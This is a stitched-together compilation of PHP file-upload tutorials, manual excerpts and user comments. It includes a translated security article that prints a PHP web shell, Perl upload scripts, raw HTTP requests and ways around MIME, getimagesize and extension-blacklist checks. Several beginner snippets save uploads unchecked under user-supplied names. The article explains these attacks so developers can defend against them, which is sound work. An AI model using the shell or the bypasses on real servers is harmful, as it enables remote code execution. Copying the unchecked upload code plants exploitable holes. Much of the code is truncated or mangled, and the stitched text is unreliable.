Uploading a file to the server using JavaScript and the jQuery library. Uploading files with PHP How to upload a php file

This feature allows you to upload both text and binary files. With PHP's authentication and file functions, you have full control over who is allowed to upload files and what to do with the file after it has been uploaded.

PHP is capable of receiving downloaded files from any RFC-1867 compliant browser.

Also note that PHP supports uploading files using the PUT method used by the Netscape Composer and W3C Amaya clients. For more detailed documentation, see PUT method support.

Example #1 File upload form

The page for uploading files can be implemented using a special form that looks something like this:

Submit this file:

In the example above __URL__ should be replaced with a PHP script reference.

hidden field MAX_FILE_SIZE(value must be specified in bytes) must precede the file selection field, and its value is the maximum allowed file size in PHP. It is recommended that you always use this variable, as it prevents users from anxiously waiting when transferring huge files, only to find out that the file is too large and the transfer did not actually take place. Keep in mind that it's fairly easy to bypass this limitation on the browser side, so you shouldn't rely on this feature to block all larger files. This is mostly a convenience feature for users of the client side of your application. However PHP settings(on the server) regarding the maximum size cannot be bypassed.

Comment:

You should also make sure that the upload form has the attribute enctype="multipart/form data", otherwise the files will not be uploaded to the server.

original name file on the client's computer.

$_FILES["userfile"]["type"]

The mime type of the file, in case the browser provided such information. An example is "image/gif". This mime type is not checked on the PHP side, so don't rely on its value without checking.

$_FILES["userfile"]["size"]

The size in bytes of the received file.

$_FILES["userfile"]["tmp_name"]

temporary name with which received file was saved on the server.

$_FILES["userfile"]["error"]

At the end of the script, if the downloaded file has not been renamed or moved, it will be automatically deleted from the temporary folder.

Images:

foreach ($_FILES [ "pictures" ][ "error" ] as $key => $error ) (
if ($error == UPLOAD_ERR_OK ) (
$tmp_name = $_FILES [ "pictures" ][ "tmp_name" ][ $key ];
// basename() can save you from filesystem attacks;
// additional check/cleanup of the filename may be needed
$name = basename ($_FILES [ "pictures" ][ "name" ][ $key ]);
move_uploaded_file ($tmp_name , "data/ $name " );
}
}
?>

A file upload progress bar can be implemented using "tracking file upload progress using sessions".

Use Psr\Http\Message\UploadedFileInterface ;
use Zend\Diactoros\ServerRequestFactory ;

$request = ServerRequestFactory :: fromGlobals();

if ($request -> getMethod() !== "POST" ) (
http_response_code(405);
exit("Use POST method.");
}

$uploaded_files = $request -> getUploadedFiles();

if (
!isset($uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ]) ||
! $uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ] instanceof UploadedFileInterface
) {
http_response_code(400);
exit("Invalid request body.");
}

$file = $uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ];

if ($file -> getError() !== UPLOAD_ERR_OK ) (
);
}

$file -> moveTo("/path/to/new/file");

?>

10 years ago

I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

array
=> array
=> facepalm.jpg
=> image/jpeg
=> /tmp/phpn3FmFr
=> 0
=> 15476
)

=> array
=>
=>
=>
=> 4
=>
)

and not this
array
=> array
=> facepalm.jpg
=>
)

=> array
=> image/jpeg
=>
)

=> array
=> /tmp/phpn3FmFr
=>
)

=> array
=> 0
=> 4
)

=> array
=> 15476
=> 0
)

Anyways, here is a fuller example than the sparce one in the documentation above:

foreach ($_FILES [ "attachment" ][ "error" ] as $key => $error )
{
$tmp_name = $_FILES [ "attachment" ][ "tmp_name" ][ $key ];
if (! $tmp_name ) continue;

$name = basename ($_FILES [ "attachment" ][ "name" ][ $key ]);

If ($error == UPLOAD_ERR_OK )
{
if (move_uploaded_file ($tmp_name , "/tmp/" . $name ))
$uploaded_array .= "Uploaded file "" . $name . "".
\n" ;
else
$errormsg .= "Could not move uploaded file". $tmp_name . "" to "" . $name . ""
\n" ;
}
else $errormsg .= "Upload error. [" . $error. "] on file "" . $name . ""
\n" ;
}
?>

3 years ago

The documentation doesn't have any details about how the HTML array feature formats the $_FILES array.

Example $_FILES array:

For single file-

array
=> array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

Multi-files with HTML array feature -

array
=> array
=> array
=> sample-file.doc
=> sample-file.doc
)

=> array
=> application/msword
=> application/msword
)

=> array
=> /tmp/path/phpVGCDAJ
=> /tmp/path/phpVGCDAJ
)

=> array
=> 0
=> 0
)

=> array
=> 0
=> 0
)

The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array.

Function normalize_files_array ($files = ) (

$normalized_array = ;

Foreach($files as $index => $file ) (

If (! is_array ($file[ "name" ])) (
$normalized_array [ $index ] = $file ;
continue;
}

Foreach($file [ "name" ] as $idx => $name ) (
$normalized_array [ $index ][ $idx ] = [
"name" => $name ,
"type" => $file [ "type" ][ $idx ],
"tmp_name" => $file [ "tmp_name" ][ $idx ],
"error" => $file [ "error" ][ $idx ],
"size" => $file [ "size" ][ $idx ]
];
}

Return $normalized_array ;

?>

The following is the output from the above method.

array
=> array
=> array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

=> array
=> array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

=> array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

4 years ago

For clarity; the reason you would NOT want to replace the example script with
$uploaddir = "./";
is because if you have no coded file constraints a nerd could upload a php script with the same name of one of your scripts in the scripts directory.

Given the right settings and permissions php-cgi is capable of replacing even php files.

Imagine if it replaced the upload post processor file itself. The next "upload" could lead to some easy exploits.

Even when replacements are not possible; uploading an .htaccess file could cause some problems, especially if it is sent after the nerd throws in a devious script to use htaccess to redirect to his upload.

There are probably more ways of exploiting it. Don't let the nerds get you.

More sensible to use a fresh directory for uploads with some form of unique naming algorithm; maybe even a cron job for sanitizing the directory so older files do not linger for too long.

10 years ago

Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients" side. You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).

2 years ago

I have found it useful to re-order the multidimensional $_FILES array into a more intuitive format, as proposed by many other developers already.

Unfortunately, most of the proposed functions are not able to re-order the $_FILES array when it has more than 1 additional dimension.

Therefore, I would like to contribute the function below, which is capable of meeting the aforementioned requirement:

function get_fixed_files()(
$function = function($files , $fixed_files = array(), $path = array()) use (& $function ) (
foreach ($files as $key => $value ) (
$temp = $path ;
$temp = $key ;

If (is_array ($value )) (
$fixed_files = $function ($value , $fixed_files , $temp );
) else (
$next = array_splice ($temp , 1 , 1 );
$temp = array_merge($temp , $next );

$new = & $fixed_files ;

Foreach ( $temp as $key ) (
$new = & $new [ $key ];
}

$new = $value ;
}
}

Return $fixed_files ;
};

Return $function($_FILES);
}
?>

Side note: the unnamed function within the function is used to avoid confusion regarding the arguments necessary for the recursion within the function, for example when viewing the function in an IDE.

The application for uploading files to the server is an HTML form (upload.html) and the upload.php script for processing it.

Comment: You can download the industrial version of the file upload system to the server from the section. The system will allow you not only to upload the file to the server, but also to change its size, background, etc.

Form code (upload.html)

File upload form



Form processing script code (upload.php)

File upload result 1024 * 3 * 1024 ) ( echo (); exit; ) // Check if the file is loaded if(is_uploaded_file ($_FILES [ "filename" ][ "tmp_name" ])) ( // If the file was uploaded successfully, move it // from the temporary directory to the destination move_uploaded_file ($_FILES [ "filename" ][ "tmp_name" ], "/path/to/file/" . $_FILES [ "filename" ][ "name" ]); ) else ( echo( "Error loading file"); } ?>

The form's entype attribute specifies the kind of encoding that the browser applies to form parameters. For uploading files to the server to work, the entype attribute must be set to multipart/form-data. By default, this attribute is set to application/x-www-form-urlencoded.

The input element of this form must be of type file.

After an HTTP request is received, the content of the uploaded file is written to a temporary file, which is created in the server's default directory for temporary files, unless another directory is specified in the php.ini file (upload_tmp_dir directive).

The characteristics of the uploaded file are available through the $_FILES two-dimensional array.

The upload.php script uploads a file to the server and copies it to the /path/to/file/ directory.

In some cases, it is required to limit the size of a file that can be uploaded to the server. For example, to allow only files up to 3 MB in size to be uploaded to the server, the following script contains the following code:

1024 * 3 * 1024 ) ( echo( "The file size is over three megabytes"); exit; ) ... ?>

Maximum size The upload file can also be set using the upload_max_filesize directive, the default value of which is 2 MB:

upload_max_filesize ) .. ?>

This article demonstrates the main vulnerabilities in web applications for uploading files to the server and how to avoid them. The article contains the very basics, in vryat-whether it will be of interest to professionals. But nonetheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social networks provide options for uploading images, videos, etc. Blogs allow you to upload again avatars and / or images.

Often, uploading files without adequate security controls results in vulnerabilities that have proven to be a real problem in PHP web applications.

The ongoing tests have shown that many web applications have many security problems. These "holes" provide attackers with extensive opportunities to perform unauthorized actions, from viewing any file on the server and downloading it by executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code for the examples provided in this article can be downloaded at:
www.scanit.be/uploads/php-file-upload-examples.zip .

If you wish to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities that could be dangerous if executed on an externally accessible server.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. let's consider following code(upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically, users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

intruder this form will not use. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user's actions to upload files in order to change the data sent to your liking.

In this case, the upload contains a big security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. Such a script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is on the server, then you can execute any command through the request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found online. They can upload arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form data" ,
content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

This script uses libwwwperl, which is a handy Perl library that emulates an HTTP client.

And this is what happens when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is an HTTP command-line client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Content-Type check

The above example is rarely the case. In most cases, programmers use simple checks to force users to upload files of a specific type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

In this case, if the attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection, because the MIME type being checked comes along with the request. In the request above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing to prevent an attacker from setting it to "image/gif", because by using client emulation, he has complete control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form data" ,
content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

And here's what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the content of an image file

Instead of trusting the Content-Type header, a PHP developer could check the actual content of the uploaded file to make sure it's actually an image. The PHP getimagesize() function is often used for this. It takes a filename as an argument and returns an array of image sizes and type. Consider the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be loaded. Unfortunately, it is not. The file can be really in GIF or JPEG format, and at the same time a PHP script. Most image formats allow text metadata to be added to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will interpret it as a valid GIF or JPEG. When the PHP translator looks at the file, it sees the executable PHP code in some binary "garbage" that will be ignored. A sample file named crocus.gif is included in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So let's create a perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

This code takes a crocus.gif file and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now an attacker can execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the uploaded file

The reader of this article might wonder why we don't just check the extension of the uploaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's take a look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of a file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

The expression preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) matches the filename specified by the user in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the blacklisted items, the file will not be uploaded.

If we try to upload a .php file, it will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 36
Connection: close
Content-Type: text/html
If we upload a file with a .gif extension, then it will be uploaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
content length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request an uploaded file, it will not be executed by the server:

Last update: 1.11.2015

To upload a file to the server, we need to use a form with the enctype="multipart/form-data" parameter and the $_FILES array. So let's create a file upload.php with the following content:

File upload

Select a file:

A form is defined here with the attribute enctype="multipart/form-data" . The form contains a special field for selecting a file.

All uploaded files are in an associative array $_FILES. To determine if there are any downloaded files at all, you can use the if construct: if ($_FILES)

The $_FILES array is two-dimensional. We can upload a set of files, and each uploaded file can be accessed by a key that matches the value of the name attribute.

Since the element for uploading a file on the form has name="filename" , we can get this file using the expression $_FILES["filename"] .

Each file object has its own parameters that we can get:

    $_FILES["file"]["name"] : file name

    $_FILES["file"]["type"] : file content type, e.g. image/jpeg

    $_FILES["file"]["size"] : file size in bytes

    $_FILES["file"]["tmp_name"] : name of the temporary file saved on the server

    $_FILES["file"]["error"] : upload error code

We can also check for download errors. If we don't have an error, then the $_FILES["filename"]["error"] field contains the value UPLOAD_ERR_OK .

When a file is sent to the server, it is first uploaded to a temporary location, from which it is then moved to the server directory using the move_uploaded_file() function.

The move_uploaded_file() function takes two parameters: the path to the uploaded temporary file and the path where the uploaded file should be placed.

Download restrictions and customization

By default, the size of uploaded files is limited to 2 MB. However, you can configure this indicator in the configuration file. Let's change this indicator, for example, to 10 mb. To do this, find in the file php.ini next line:

Upload_max_filesize = 2M

Let's change it to

Upload_max_filesize = 10M

We can also set up a folder for temporary downloads. For this in the file php.ini find the following line:

;upload_tmp_dir =

Let's change it to

Upload_tmp_dir = "C:/php/upload"

We also need to create an upload folder in the php directory.

Multiboot

Let's change the script upload.php so that it supports multiple loading:

$error) ( if ($error == UPLOAD_ERR_OK) ( $tmp_name = $_FILES["uploads"]["tmp_name"][$key]; $name = $_FILES["uploads"]["name"][$ key]; move_uploaded_file($tmp_name, "$name"); ) ) ) ?>

File upload




Each file select field has a name="uploads" attribute, so the server will treat the set of uploaded files as a single array.

Then, using a foreach loop, iterate through all the files and save them to the website directory.

Surely you often uploaded various files to websites. For example, uploaded avatars on the forum, photos on social networks, various videos on video hosting, just files on file hosting. And in this article you will learn how to upload files to server in php. It is through PHP in most cases this is implemented.

The first thing to be learned is that HTML form, into which the file is substituted, should not be quite ordinary, here is an example HTML code this form:





The key point here is the attribute " enctype"with meaning" multipart/form-data". Nothing will work without it.

", in which we will not upload the file yet, but will go through a few important points that must be taken into account, otherwise security may suffer:

print_r($_FILES);
?>

As a result, you will see the content global two-dimensional array $_FILES:

  • name- the name of the uploaded file.
  • type - MIME-type downloaded file. This is perhaps the most important security setting. And always when receiving files, you need to check MIME-type otherwise you won't get any problems. In the next article, we will talk about this in more detail.
  • tmp_name- physical path to the temporary file. It is in this place that the file is placed, and only then we transfer it to another location. In fact, the file has already been uploaded, and we just need to move it to the right folder on the server.
  • error- error code. If a 0 , then there are no errors.
  • size- the size of the uploaded file. This is also a frequently used option, and it also needs to be checked in order to limit the size of uploaded files. Of course, this size is limited by the server itself, however, for any pictures, this size is clearly too high (as a rule, it 10 MB).

And all of these options are present for each uploaded file (each of which is an array in a two-dimensional array $_FILES).

Now let's finish with uploading files to the server in PHP, and for this we write the following code (""):

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

That is, first we set the path to the downloaded file on the server. Here we want to put the file in the directory " images" with the same name as the file before. And the function move_uploaded_file() we move the file to a directory of our choice from its temporary storage.

However, please note that this is very important! In no case should you use the code in this way, otherwise your site will will be in grave danger! In fact, at the moment, absolutely anything can be loaded: any executable files, scripts, HTML pages and other very dangerous things. Therefore, it is imperative to check the uploaded files to the server very carefully. And that's what we're going to do in the next article. Since the topic is very important, I advise you to subscribe to updates so as not to miss this article.

Internet